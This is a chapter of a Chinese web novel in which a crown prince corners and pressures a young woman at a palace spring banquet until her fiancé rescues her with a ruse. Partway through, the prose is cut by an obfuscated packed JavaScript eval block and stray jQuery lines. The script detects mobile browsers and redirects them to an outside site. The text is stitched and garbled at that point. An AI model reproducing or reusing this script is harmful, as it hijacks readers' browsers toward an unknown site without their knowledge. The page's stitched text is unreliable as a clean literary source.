57. 春宴(一)
作品:《愿嘉平》 三日后,皇宫内苑繁花似锦,牡丹随风摇曳,碧波荡漾。新科进士们身着崭新的官袍,头戴乌纱帽,整齐的列座在御阶下。
盛帝高坐龙椅,一双深邃的眼睛不动声色的扫视着全场的所有人。他左手边是太子盛睿诚,以及内阁的几位重臣。再往下,就是文武百官分座两侧。
亭子旁的临水石阶上,虞愿一身湖水蓝的衣裙,素白的披帛,发髻上点缀着细碎的珍珠花钿。她低低的垂眸,看向不远处喧嚣的宴席。
虞南坐在一众文官之间,似乎察觉到她的注视,缓缓转过头目光精准的与她交融。隔着水光与花影,冲他轻微的颔首示意。
两人的婚事已定,只待中秋便可完婚。
虞愿依礼献琴,一曲毕,她垂首谢恩,终是松了口气。正当她抱着琴走到游廊之时,一个声音从背后响起,不高,却传到了她的耳畔。
“虞姑娘。”
她顿住步子,侧目缓缓转头。在她与萧芜的计划中,她是要去避嫌的,而太子盛睿诚应在宴席上才是。现在出现在此,定不是什么巧合。
“太子殿下。”虞愿屈膝行礼。
“虞姑娘的琴艺果然不俗,果真得了虞大人的真传。”盛睿诚慢悠悠道,带着酒意侵染的微哑。
“谢殿下夸赞。”虞愿颔首,“臣女还有要事,便先行告退了。”
“留步。”盛睿诚停在原地,目光自然的落在她纤细的手背上,停留的格外的漫长。
虞愿的心猛地一沉,缓缓抬起双眸:“殿下有何要交代臣女的?”
那眸光过于炽热,她不由得缩了缩手指,心中的紧绷的弦,却时刻没有放松。盛睿诚在东宫养了众多形貌不一的女子,大多数都有一双漂亮的双手。那锦衣玉冠的背后,藏着怪异的癖好。
这里远离宴席的喧嚣,只有廊下燃着几盏昏黄的宫灯,在夜风中轻轻摇曳着。
盛睿诚深吸一口带着花香的空气,低声道:“虞姑娘刚才饮了御赐的牡丹酿,还是要及时的寻碗醒酒汤才是。”
“谢殿下关心,臣女这就前去。”她见不对,便想快些离开此处。
然后,一只修长的手便从她身侧探了过来,不容抗拒的握住了她的手腕。皮肤相触的瞬间,虞愿如遭受电击般想躲,却被擒的无法动弹。
“殿下!”她睁大了双目,“这多有不妥!”
“虞姑娘,你的琴音很好听。”他微微垂眸,目光深邃的看着虞愿,“不如,再弹一曲给本宫,如何?”
虞愿挣脱着,身前的古琴应声掉落:“殿下,臣女已有婚配,这样被宫人看到,有失您的体面。”
盛睿诚垂眸看向地上的古琴,那琴身之上刻着一朵玉兰花,花瓣与琴色交融,如同人一般出淤泥而不染。
他唇边那抹笑意,此刻再无遮拦,充满了玩味与征服的欲念:“本宫知道,是虞南,那个翰林院编修。”
虞愿的嘴唇颤动,却发不出任何的声音。盛睿诚为储君,想要什么东西便要得到。若是此时得罪他,不仅会耽误萧芜的布局,还会让虞南陷入风波。
盛睿诚松开她的手腕,那双深邃的眼中,满是运筹帷幄:“虞姑娘弹还是不弹?”
挣扎?反抗?无非是以卵击石罢了。既然无可避免,那就做一颗不任人摆布的棋子。
虞愿俯身捡起地上的古琴,不慌不忙的屈膝行礼:“殿下既然想听,臣女自当效劳。”
他似乎有些欣赏对面的女娘,不过片刻,便给出了他想听的回答。果然如同虞兴怀那老狐狸一般,圆滑、狡黠。
“很好,那你便随本宫来侧殿吧。”盛睿诚笑道。
侧殿内,灯火通明。琴架似乎早就准备好了,就等来人将琴放于架上。琴架旁没有席,没有凳。只有金闪闪的砖面。砖面映着跳跃的烛火,也映着虞愿那张圆润的脸。
“今夜月色尚可,你便在窗边弹奏一曲吧。”盛睿诚的声音平静,似乎是在故意试探她的底线。
没有凳,没有席面,意思就是要她跪在窗前,为他弹奏。只有歌女才会如此,而她虞愿却是侍郎府的嫡女,这是故意在羞辱她。
“弹吧,就像刚才在宴席上一样。”他命令道,声音中带着不容拒绝的施压。
虞愿站在琴案前,默默的将古琴放于架上,面上依旧波澜不惊:“殿下想听什么曲子?”
殿内熏香的气味馥郁,混合着男人身上清冽的香气,浓稠的让人窒息。隐隐约约还有宴席的喧嚣声传来,隔着山水,飘进窗口。
“凤求凰。”盛睿诚盯着她的双眸,一字一句道。
凤求凰,原本是弹给心仪之人两情相悦的曲子。要她弹凤求凰,无非是要试探她的心意,以及顺从度。虞愿轻轻的抚过琴弦,指尖冰冷僵硬,心里满是不愿,手指压根不听使唤。
“怎么?”盛睿诚轻笑一声,食指轻轻的敲了敲琴案,似是在提醒她,“虞姑娘御前演奏,何等从容,到了本宫这,反倒胆怯了?”
他的俯身靠近,眼神直勾勾的盯着她的双目,带着一丝冰冷的嘲讽:“还是说,虞编修不在,你弹不出这曲子?”
“又或者说是......”他微微偏头,“你在等什么人?”
见她依旧不动,盛睿诚似乎失去了耐心。他低低的笑了一声,唇角扬起一个弧度。
“既然虞姑娘忘了如何弹,本宫或许可以帮你,想上一想。”他慢条斯理的说着,一只手从琴案上抬起,轻轻的勾住银色的丝弦。
虞愿紧攥双拳,心里波涛汹涌。那股恶心的感觉涌上心头,像是毒舌吐芯子般死死的缠绕住她。
“放松,这么好看的手,不应该绷的这样紧。”他声音低沉。
殿内的烛火噼啪的爆出一个灯花,那轻微的抚琴声,在她耳间炸开。
虞愿刚要开口,殿外忽的传来一阵急促的脚步声。由远及近,盛睿诚身边的内侍轻敲了殿门,默默的看向虞愿。
内侍谨慎的声音响起:“启禀殿下,虞编修......虞南大人,求面见殿下。”
虞愿猛地一愣。他怎么来了?陛下设宴,本就是为了厚赏新科进士。他现在退了宴席来这,盛睿诚若是计较,两人都难逃一劫。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17117862|192091||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>“看来虞编修,有些着急啊,你说呢,虞姑娘?”盛睿诚直起身子,不急不忙的坐于一旁的软榻之上。
“传。”他轻轻的嗤笑一声。
殿内烛火晃动,光影跳跃。虞南缓步踏入殿内,余光掠过窗边的虞愿,随即极快的收回了视线。
他恭敬的行礼,道:“太子殿下。”
盛睿诚侧过头,侧目打量着来人:“虞编修找本宫何事,是有什么事必须本宫出面的么?”
方才那玩味的气息快速退去,取而代之的是一种属于上位者的沉凝。烛光在他脸上投下浅浅的阴影,看不清他的具体神色。
虞南从容不迫的垂眸,面上带着浅浅的笑意:“殿下,臣是来接臣的未婚妻服用汤药的。她身子虚弱,需要按时用药,每到换季之时,皮肤上便会滋生白斑。臣也是煞费苦心,还望殿下,体谅。”
盛睿诚收回停留在虞愿手上的目光,抬手轻轻的触了触鼻尖,似是在嫌弃什么。
虞愿适时的补充:“殿下不必忧心,臣女的病并无大碍,只是会褪皮而已。”
他看了虞愿一眼,眼神幽深:“看来今夜这琴,本宫是没有耳福了。”
虞愿没有回应,也没有抬头。
“来人。”他扬声唤道。
内侍应声而入,垂手侍立。
盛睿诚淡淡道:“送送虞编修和虞姑娘,仔细着些。”
内侍躬身,做了请的姿势,转身看向虞愿:“虞姑娘,虞编修,请。”
虞愿和虞南勉强的行了礼,在内侍的带领下,向殿门外走去。夜风吹动虞愿的鬓发,她紧绷的心弦才松了片刻。园内的牡丹竞相绽放,宫灯在风中摇曳。
“南哥哥,你怎么来了?”她问。
“我方才一直留意着你的席位,发现你迟迟未归,便借口更衣离了宴。”虞南扬起一笑,“还好,我并没有来迟。”
虞南聪慧,自是知道盛睿诚的意图,他便是故意那样说的。盛睿诚不是真心,他只是看到了那双玉手,才生起的心思,必然会因此而嫌弃。这样一说,他必然嫌弃,虞愿也能脱困。
虞愿不满他的冲动,嗔怪道:“你是没来迟,但盛睿诚若是知道你骗他,他肯定会砍了你的脑袋。”
“阿愿舍得我被砍头吗?”虞南略带委屈的将双眉拧在一块,“我可是很担心阿愿的,便只换来这样的一句话。”
虞愿扯扯他的衣袖,讨好道:“哎呀,抱歉嘛,是我嘴笨,才伤了南哥哥的心。回去我给你做鱼饼吃好不好?”
虞南垂眸一笑,抬眸看向眼前的女娘:“阿愿,你日后能不能只给我一人弹琴,我......我......我担心,你这么好,肯定不止我一人喜欢。”
“好。”虞愿轻轻的凑到他耳边,欢声道。
院中的白牡丹在月色下绽放着,如同夜空中的明月洁白无瑕。正当两人行至假山之时,忽的一队御林卫燃着火把往宴席的方向跑去。看样子,似乎是出了什么大事。
虞愿双眸微眯,望着远去的队伍,心里猛地一揪,希望这次,晏家能化险为夷。

